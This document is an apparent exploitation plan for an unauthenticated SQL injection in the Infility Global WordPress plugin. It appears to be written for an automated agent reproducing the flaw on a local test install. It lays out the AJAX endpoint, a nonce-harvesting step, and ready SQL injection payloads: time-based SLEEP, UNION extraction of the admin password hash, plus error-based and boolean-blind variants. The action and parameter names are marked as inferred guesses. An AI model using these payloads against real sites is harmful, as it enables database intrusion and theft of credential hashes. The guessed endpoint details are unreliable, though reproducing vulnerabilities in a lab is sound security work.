Infility Global <= 2.14.49 - Unauthenticated SQL Injection

This research plan outlines the process for identifying and exploiting the unauthenticated SQL injection vulnerability (CVE-2025-68865) in the Infility Global plugin (versions <= 2.14.49).

---

1. Vulnerability Summary

• Vulnerability: Unauthenticated SQL Injection.
• Root Cause: The plugin registers AJAX handlers accessible to unauthenticated users (wp_ajax_nopriv_) that process user-supplied parameters (e.g., IDs or slugs). These parameters are concatenated directly into SQL queries without using $wpdb->prepare(), allowing an attacker to manipulate the query structure.
• Impact: Attackers can extract sensitive data from the database, including user credentials (hashes), secret keys, and configuration data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action (Inferred): infility_global_get_data, infility_global_load_more, or similar data-fetching actions.
• Vulnerable Parameter (Inferred): id, ig_id, or slug.
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. A valid nonce may be required depending on whether the plugin checks check_ajax_referer.

3. Code Flow (Discovery Phase)

Since source files are not provided, the execution agent must first locate the sink:

1. Enumerate AJAX Handlers:

   grep -rn "wp_ajax_nopriv_" wp-content/plugins/infility-global/
   

2. Identify the Handler Function:
   Look for the function name associated with the wp_ajax_nopriv_ action.
   Example: add_action('wp_ajax_nopriv_infility_get_items', 'infility_get_items_handler');
3. Locate SQL Injection Sink:
   Search for $wpdb methods within that handler that lack prepare():

   # Search within the handler function's file
   grep -rnP "\$wpdb->(get_results|get_row|get_var|query)\s*\([^;]*\$(POST|GET|REQUEST)" wp-content/plugins/infility-global/
   

4. Trace Parameter:
   Identify which POST parameter is being passed into the query.

4. Nonce Acquisition Strategy

If the handler includes check_ajax_referer('infility_nonce', 'nonce') or similar, follow these steps:

1. Identify Shortcodes: Search for shortcodes that might enqueue the plugin's frontend scripts.

   grep -rn "add_shortcode" wp-content/plugins/infility-global/
   

2. Setup Page: Create a page using a discovered shortcode (e.g., [infility_global_list]).

   wp post create --post_type=page --post_title="Exploit" --post_status=publish --post_content='[infility_global_list]'
   

3. Extract Nonce via Browser:
   Navigate to the page and inspect the wp_localize_script output.
   • Localized Object Name (Inferred): infility_ajax_obj or ig_global_vars.
   • JS command:

     browser_eval("window.infility_ajax_obj?.nonce")
     

5. Exploitation Strategy

Assuming the action is infility_global_get_items and the parameter is id:

Step 1: Time-Based Verification
Verify the injection using a sleep payload to confirm the vulnerability.

• Action: infility_global_get_items
• Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

Step 2: UNION-Based Extraction
Determine the number of columns and extract the administrator password hash.

1. Find Column Count: Inject ORDER BY 1-- -, ORDER BY 2-- -, etc., until an error occurs.
2. Extract Hash:
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Body:

     action=infility_global_get_items&nonce=[NONCE]&id=-1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
     

   (Adjust column count and position based on Step 2.1)

6. Test Data Setup

1. Install Plugin: Ensure infility-global version <= 2.14.49 is installed and activated.
2. Create Admin: Ensure a user with ID 1 exists (standard).
3. Place Shortcode: Place the relevant plugin shortcode on a public page to enable script loading and nonce availability.

7. Expected Results

• Time-Based: The server response will be delayed by 5 seconds.
• UNION-Based: The JSON response from admin-ajax.php will contain the admin username and password hash (e.g., $P$... or $wp$2y$...) in one of the reflected fields.

8. Verification Steps (Post-Exploit)

Confirm the extracted data matches the database state using WP-CLI:

# Verify the hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

• Error-Based SQLi: If the plugin displays database errors (common when WP_DEBUG is on), use EXTRACTVALUE or UPDATEXML.
  • Payload: 1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
• Boolean-Based Blind: If no output is reflected and time-based is unstable, compare response lengths of id=1' AND 1=1-- - vs id=1' AND 1=2-- -.